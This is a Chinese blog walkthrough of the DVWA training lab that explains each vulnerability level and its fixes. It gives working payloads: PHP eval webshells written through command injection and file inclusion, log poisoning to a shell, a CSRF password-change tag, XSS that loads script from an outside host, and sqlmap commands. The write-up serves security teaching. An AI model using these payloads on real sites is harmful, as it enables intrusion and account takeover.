文章目录

  • 前言
  • 一、实战前的准备:
    • 1.dvwa靶场安装
    • 2.代码审计工具介绍
      • 2.1.seay代码审计工具的介绍
      • 2.2.rips 审计工具介绍
  • 二、DVWA通关讲解
    • 1. brute force 暴力破解
      • low:
      • Medium:
      • High:
      • impossible:
    • 2. Command Injection(命令行注入)
      • low:
      • Medium:
      • High:
    • 3. CSRF(跨站请求伪造)
      • low:
      • Medium:
      • High:
    • 4. File Inclusion(文件包含)
      • low:
      • Medium:
      • High:
      • impossible:
    • 5. File Upload(文件上传)
      • low:
      • Medium:
      • High:
      • impossible:
    • 6. Insecure CAPTCHA (不安全的验证码)
      • low:
      • Medium:
      • High:
      • impossible:
    • 7. SQL Injection(SQL注入)
      • low:
      • Medium:
      • High:
      • impossible:
    • 8. SQL Injection(Blind)(SQL盲注)
      • low:
      • Medium:
      • High:
      • impossible:
    • 9. Weak Session IDs (脆弱的Session ID)
      • low:
      • Medium:
      • High:
      • impossible:
    • 10. XSS(DOM) (DOM型XSS)
      • low:
      • Medium:
      • High:
      • impossible:
    • 11. XSS(Reflected)(反射型跨站脚本)
      • low:
      • Medium:
      • High:
      • impossible:
    • 12. XSS(Stored)(存储型跨站脚本)
      • low:
      • Medium:
      • High:
      • impossible:
    • 13. (CSP) Bypass
      • low:
      • Medium:
      • High:
      • impossible:
    • 14. JavaScript Attacks(js攻击)
      • low:
      • Medium:
      • High:
  • 总结

前言

本文章包含了DVWA靶场四个难度的详细解析,具体如下!


提示:以下是本篇文章正文内容,下面案例可供参考

一、实战前的准备:

1.dvwa靶场安装

不做过多解释,具体安装方法不会请百度。
1 修改配置文件
2 登录
3 修改php配置

2.代码审计工具介绍

2.1.seay代码审计工具的介绍

敏感参数回溯的方法

2.2.rips 审计工具介绍

可以实现跨文件的变量和函数追踪 误报率很低
rips审计工具的测试
path/file:待扫描代码的文件地址;
subdirs:是否对代码的子目录进行扫描,勾选将会扫描子目录,不勾选只扫描当前目录下的PHP文件;
verbosity level:选择source点,即可控制的输入点,定义在rips下config/sources.php中;
vuln type:选择sink点,即可能会触发各种风险的函数,定义在rips下config/sinks.php中;
scan:选择好前面的选项,点击该按钮即可开始扫描;
code style:扫描结果的展示方式;
/regex/:要搜索内容的正则表达式;
search:根据正则表达式对全局代码进行搜索;

二、DVWA通关讲解

1. brute force 暴力破解

了解dvwa目录结构

low:

SELECT * FROM ·users · WHERE user = '123123' AND password = 'f5bb0c8de146c67b44babbf4e6584cc0';

可进行爆破和注入绕过admin’ or '1

Medium:

mysqli_real_escape_string()将’转义为
只能使用burp进行爆破

High:

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
//stripslashes()删除由 addslashes 函数添加的 反斜杠
//mysqli_real_escape_string()将'转义为\

自己实现工具
● 拿到token在源码里
● 提交数据包

GET/vulnerabilities/brute/?username=admin&password=§123123123§&Login=Login&user_token=0cd9bfa9b6cf84c8276ea6ae61c3f8d0

impossible:

输错三次封禁15分钟!
实现方法:
写到数据库封禁时间

2. Command Injection(命令行注入)

命令连接符:
command1 && command2
&&表示先执行command1,执行成功后执行command 2,否则不执行command 2
command1 & command2
$表示先执行command 1,不管是否成功,都会执行command 2
command1 || command2
||表示先执行command1,执行失败后,执行command2
command1 | command2
|表示将command 1的输出作为command 2的输入,只打印command 2执行的结果。

low:

stristr(php_uname('s'),'Windows NT')//查找字符串 判断系统是否为win或linux

构造代码直接写入一句话

127.0.0.1 | echo "<?php @eval($_POST[x]);?>" >> 321321.php

Medium:

过滤不完整,只是把&&和;替换为空;
127.0.0.1&;&net user

High:

过滤有缺陷

127.0.0.1|net user
127.0.0.1 |net user
impossible:
将ip进行分割然后在拼接,并判断是否为数字。

3. CSRF(跨站请求伪造)

low:

GET型没有进行任何csrf验证
构造代码

<img src="098.jpg" width=300px />
<img src="http://www.z.com/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change" width=0 />

Medium:

//stripos(源文本,要查找的文本)寻找文本首次出现位置 不存在返回false存在返回字符位置
stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false

验证http请求包的referer是否存在自己
自己构造referer就行

High:

//开发中, 这种已经防 csrf

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );//验证took

搭配xss
dom 反射不推荐,浏览器过滤严格
推荐使用存储型xss
ajax 不能跨域
结合 DOM型 XSS来

http://www.z.com/vulnerabilities/xss_d/?default=English#<script src="http://www.a.com/xss.js"></script>

4. File Inclusion(文件包含)

low:

未做任何过滤
http://www.xxx.com/vulnerabilities/fi/?page=php://input post提交数据

<?php phpinfo(); ?>

Medium:

将接收的参数进行部分过滤http://或https和…/或…"替换为空

$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
page=htthttp://p://www.a.com/1.txt
page=http://www.xxx.com/vulnerabilities/fi/?page=php://input

或者post数据提交直接写入小马之后包含然后菜刀连接

<?php $f=fopen("222.txt","w");fwrite($f,"?><?php @eval(\$_POST[x]);?><?");?>

High:

只允许file开头的文件
fnmatch( “file*”, $file )

php伪协议:
● file:// — 访问本地文件系统
● http:// — 访问 HTTP(s) 网址
● ftp:// — 访问 FTP(s) URLs
● php:// — 访问各个输入/输出流(I/O streams)
● zlib:// — 压缩流
● data:// — 数据(RFC 2397)
● glob:// — 查找匹配的文件路径模式
● phar:// — PHP 归档
● ssh2:// — Secure Shell 2
● rar:// — RAR
● ogg:// — 音频流
● expect:// — 处理交互式的流

http://www.xxx.com/vulnerabilities/fi/page=xxx.php
报错会爆出绝对路径
D:\wamp\www\www.z.com\vulnerabilities\fi\index.php
推断日志目录
D:/wamp/logs/access.log
匹配file开头
file://D:/wamp/logs/access.log
包含日志成功拿到shell

impossible:

白名单写死

$file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php"

5. File Upload(文件上传)

low:

没有做任何检查,直接上传即可!

Medium:

只验证了文件类型和大小,抓包修改文件名或类型即可!
php5.3.4版本一下还可以使用文件名%00截断,其他版本使用burp进行url编码即可实现截断

$uploaded_type == "image/jpeg" || $uploaded_type == "image/png"
$uploaded_size < 100000

High:

取图片头部验证是否为图片

getimagesize( $uploaded_tmp )

cmd合成图片马即可

copy 1.jpg/b+1.php/a hack.jpg

采用%00截断的方法可以轻松绕过文件名的检查,采用刚才的图片一句话进行上传。(适用于php小于 5.3.4 版本)
或者利用文件包含漏洞

impossible:

图像重组技术

6. Insecure CAPTCHA (不安全的验证码)

和逻辑漏洞相似

low:

传入参数step=2&password_new=123123&password_conf=123123&Change=Change中
step可控,源代码中step为2可跳过第一步验证直接修改密码!

Medium:

验证了如下参数是否存在

$_POST[ 'passed_captcha' ]

提交表单时把此参数添加进去即可!

High:

验证验证码时用的或,所以只需要满足后面的条件,即可绕过验证码修改密码。

$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3' && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'

http_user_agent=user_agent
修改user_agent为reCAPTCHA,然后在添加 即可。

impossible:

前三关全都可以用csrf绕过
写死验证码,为空就不允许通过。

7. SQL Injection(SQL注入)

low:

未进行任何过滤,sqlmap直接开始。

Medium:

过滤类型错误,应使用数字型过滤

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

直接1 or 1=1
sqlma post注入方式:

sqlmap.py -u "http://www.xxx.com/search.php" --data "search=a"
sqlmap.py -r post.txt

High:

用了302跳转防止sqlmap,手工注入还是可以的。

impossible:

检查took
判断是否为数字

is_numeric( $id )

用pdo形式处理

8. SQL Injection(Blind)(SQL盲注)

下面简要介绍手工盲注的步骤(可与之前的手工注入作比较):
类似布尔注入
● 判断是否存在注入,注入是字符型还是数字型
● 猜解当前数据库名
● 猜解数据库中的表名
● 猜解表中的字段名
● 猜解数据

low:

未进行任何过滤
1’ and 1=1 #返回正常
1’ and length(database())=1

Medium:

过滤类型错误基本过滤无效,应使用数字型过滤

mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id )

and 1=1
and 1=2
sqlmap直接开始

High:

典型的cookie注入

setcookie( 'id', $_POST[ 'id' ]);

sqlmap绕过302跳转:
在第二次请求包的cookie中添加id=1*;参数即可扫描

sqlmap.py -u "http://www.XXX.com/search.php" --cookie "id=1*;phpsession=XXXXXX"

impossible:

验证token,判断id是否为数字没法写字符串,使用pdo预处理操作

9. Weak Session IDs (脆弱的Session ID)

简单介绍:
SessionID密码与证书等认证手段,一般仅仅用于登录(Login)的过程。当登陆完成后,用户访问网站的页面,不可能每次浏览器请求页面时,都再使用密码认证一次。因此,当认证完成后,就需要替换一个对用户透明的凭证。这个凭证就是SessionID。
SessionID是在登录后,作为特定用户访问站点所需的唯一内容。如果能够计算或轻易猜到该SessionID,则攻击者将可以轻易获取访问权限,无需登录密码直接进入特定用户界面,进而查找其他漏洞如XSS、文件上传等等。

low:

寻找session规律发现每次+1

last_session_id

Medium:

根据眼下数字推断他是时间戳

$cookie_value = time();

High:

根据眼下字符串推断是md5加密后的数据

md5($_SESSION['last_session_id_high']);

解密多次后发现也是每次+1

impossible:

sha1强加密,随机数+时间戳+字符串!

sha1(mt_rand() . time() . "Impossible");

10. XSS(DOM) (DOM型XSS)

DOM:
代码 -> 浏览器(js)
可能触发 DOM 型 XSS 的属性:
document.referer 属性
window.name 属性
location 属性
innerHTML 属性
documen.write 属性
js函数防止url编码:
decodeURI(url解码函数)

low:

decodeURI对输入的内容进行URL解码导致代码执行,网址后面加JavaScript代码

<img src=1 οnerrοr=alert("xss")>
<script>alert(1)</script>

根据特定情况闭合

Medium:

过滤<script,使用<img>标签

stripos ($default, "<script") !== false

或者使用锚点形式绕过php过滤,php不接收#后面的参数,前端接收

?xxx=11111#<script>alert(1)</script>

或者使用&号将参数连接起来php,无法接收未定义参数,前端将会接收

?xxx=11111&xxx=<script>alert(/xss/)</script>

High:

接收default只能是固定参数
所以有两种方法绕过

?xxx=11111#<script>alert(1)</script>
?xxx=11111&xxx=<script>alert(/xss/)</script>

impossible:

js强过滤保护,未使用decodeURI函数自动转码,导致js不执行!

11. XSS(Reflected)(反射型跨站脚本)

代码 -> 后端 -> 浏览器(js)

low:

后端未进行任何过滤,直接xss就可以

<script>alert(1)</script>
<img src=1 οnerrοr=alert("xss")>

Medium:

<script>标签替换为空,没有过滤<img>标签

str_replace( '<script>', '', $_GET[ 'name' ] );
<sc<script>ript>alert(1)</script>
<img src=1 οnerrοr=alert("xss")>

High:

正则表达式过滤,<script>标签完全失效!

preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

使用<img>标签

<img src=1 οnerrοr=alert("xss")>

impossible:

验证token,并且使用防止xss专用函数

htmlspecialchars( $_GET[ 'name' ] );

12. XSS(Stored)(存储型跨站脚本)

代码 -> 后端 -> 数据库 -> 浏览器(js)

low:

防止注入了但是没有防止xss。

Medium:

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用<b>标签。
addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
$name参数只是把<script>标签替换为空区分大小写,可以进行xss。
可以大小写绕过
<img>标签绕过
可双写绕过

High:

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用<b>标签。
$name参数正则表达式过滤不区分大小写
<img>标签绕过

impossible:

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用<b>标签。
并且使用htmlspecialchars函数
彻底封死。

13. (CSP) Bypass

故名思意浏览器安全策略绕过
CSP 浏览器的安全策略
HTTP Content-Security-Policy 标签
CSP(Content Security Policy) 是一种用来防止 XSS 攻击的手段, 通过在头部添加 Content-Security-Policy 的相关参数, 来限制未知(不信任)来源的 javascript 的执行从而防止 XSS 攻击.

low:

Content-Security-Policy中存在可信任域名,虽然可以通过burp改包进行绕过,但是是在客户端执行不能用burp。
在信任域名中生成JavaScript,然后把生成的地址放到浏览框里面执行即可。

Medium:

这次使用了两个参数 self. unsafe-inline 其中 ‘unsafe-inline’ 代表可以执行诸如 onclick 等事件或 script 标签内的内容这类 javascript, 而后者就是指如果你要使用 script 标签加载 javascript, 你需要指明其 nonce 值, 比如 这个就能正常加载, 从而造成 XSS 注入.
加了个密码只有使用了这个密码才能正常执行JavaScript

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

High:

主要是一些js的知识
抓包callback参数可控,将值替换为JavaScript代码即可

impossible:

callback参数成为常量被定死,无法修改

14. JavaScript Attacks(js攻击)

low:

分析源代码得知必须填入success,且token必须为success加密后的值

$token == md5(str_rot13("success"))

Medium:

分析源代码得知必须填入success,且token必须为XXsuccessXX加密后的值

$token == strrev("XXsuccessXX")

High:

分析源代码得知必须填入success,且token必须为加密后的值

$token == hash("sha256", hash("sha256", "XX" . strrev("success")) . "ZZ")

总结

本文章为原创文章,转载请注明,其上就是全部内容,详细介绍了DVWA靶场的详细打法。

【WEB安全】PHP靶场实战分析——DVWA相关推荐

  1. php网站渗透实战_【案例分析】记一次综合靶场实战渗透

    原标题:[案例分析]记一次综合靶场实战渗透 时间有点久,这里主要和大家分享一下思路. 该靶场是多层网络下的综合渗透,只开放了一个web端可以访问,其他均处于内网. 开始渗透 首先进入靶场开放的唯一一个 ...

  2. 跨站脚本攻击XSS(最全最细致的靶场实战)

    一.XSS跨站漏洞 (1)XSS简介   网站中包含大量的动态内容以提高用户体验,比过去要复杂得多.所谓动态内容,就是根据用户环境和需要,Web应用程序能够输出相应的内容.动态站点会受到一种名为&qu ...

  3. [NOTE] Web For Pentester靶场练习笔记

    [NOTE] Web For Pentester靶场练习笔记 文章目录 [NOTE] Web For Pentester靶场练习笔记 前言 Web基础 PHP的session管理 HTTP认证 Web ...

  4. 记录渗透靶场实战【网络安全】

    第一次写靶场实战的文章,有不足之处还请多多指教.本次实战的靶场是红日安全vulnstack系列的第二个靶场. 靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/ ...

  5. Web of Science爬虫实战(Post方法)

    Web of Science爬虫实战(Post方法) 一.概述 本次爬虫主要通过论文的标题来检索出该论文,从而爬取该论文的被引量,近180天下载量以及全部下载量.这里使用的是Web of Sciene ...

  6. Web渗透技术及实战案例解析 PDF 分享

    链接:https://pan.baidu.com/s/1XsI2AemiPZH0UqFRfQZIjw           提取码:b9p1 相关推荐 WEB之困-现代WEB应用安全指南 黑客攻防技术宝 ...

  7. Java互联网架构-Mysql分库分表订单生成系统实战分析

    分库分表的必要性 首先我们来了解一下为什么要做分库分表.在我们的业务(web应用)中,关系型数据库本身比较容易成为系统性能瓶颈,单机存储容量.连接数.处理能力等都很有限,数据库本身的"有状态 ...

  8. vsmoon靶场实战笔记

    vsmoon靶场实战笔记 web打点 信息收集 nmap扫描端口 扫描结果 └─$ nmap -sV -A 192.168.1.106 -Pn Starting Nmap 7.92 ( https:/ ...

  9. Struts 2创始人Patrick Lightbody看《精通Struts 2:Web 2.0开发实战 》

    <精通Struts 2:Web 2.0开发实战 > Apache Struts是目前最成功开源项目之一.除了一些基础性项目如Linux.MySQL以及若干编程语言外,很少有开源框架能像St ...

最新文章

  1. 在FCKeditor 2.6中添加插入视频和音频功能
  2. httpclient get post
  3. java形参的传递机制
  4. linux命令之nc,emacs,go run,查看文件行数等
  5. Spring配置C3P0开源连接池
  6. tcp port numbers reused出现原因_谈谈 TCP 的 TIME_WAIT
  7. Linux对包管理阐述
  8. LOJ #6052. 「雅礼集训 2017 Day11」DIV
  9. Ribbon 客户端负载均衡
  10. [CodeForces-1138B] *Circus 解方程|数学
  11. python爬虫运行不出结果_请问这个为什么就是爬不到,运行之后电脑卡的不行,求大佬指导...
  12. 【转】Dalvik虚拟机的启动过程分析
  13. 第09课 OpenGL 移动图像
  14. 如何用PS快速去除图片上的文字
  15. docker启动elasticsearch容器put数据时: SERVICE_UNAVAILABLE/1/state not recovered /initialized
  16. linux mono 安装步骤,如何在Ubuntu 18.04上安装Mono
  17. ckfinder 配置 php,GitHub - itxq/ckfinder: CkFinder3.5.1 for PHP 优化版 (添加又拍云存储)...
  18. php用ckeditor无法上传大图片,php ckeditor上传图片文件大小限制修改
  19. 【前端微服务化】使用飞冰搭建前端微服务化框架
  20. 计算机没有游戏客户端程序咋办,电脑开始菜单游戏不见了怎么办

热门文章

  1. 【数据挖掘】公寓住房月租金预测
  2. 听说你的程序又双叒叕乱码了
  3. 跨域 has been blocked by CORS policy
  4. mysql marked crashed_MySQL解决is marked as crashed and should be repaired故障
  5. exe crashed。
  6. 三十六、moved异常说明及操作
  7. you-get下载神器的安装和使用
  8. 经典实践 | 网速测速小工具(上)
  9. Game Center,移动游戏社交平台的勘探报告
  10. LATEST DETECTED DEADLOCK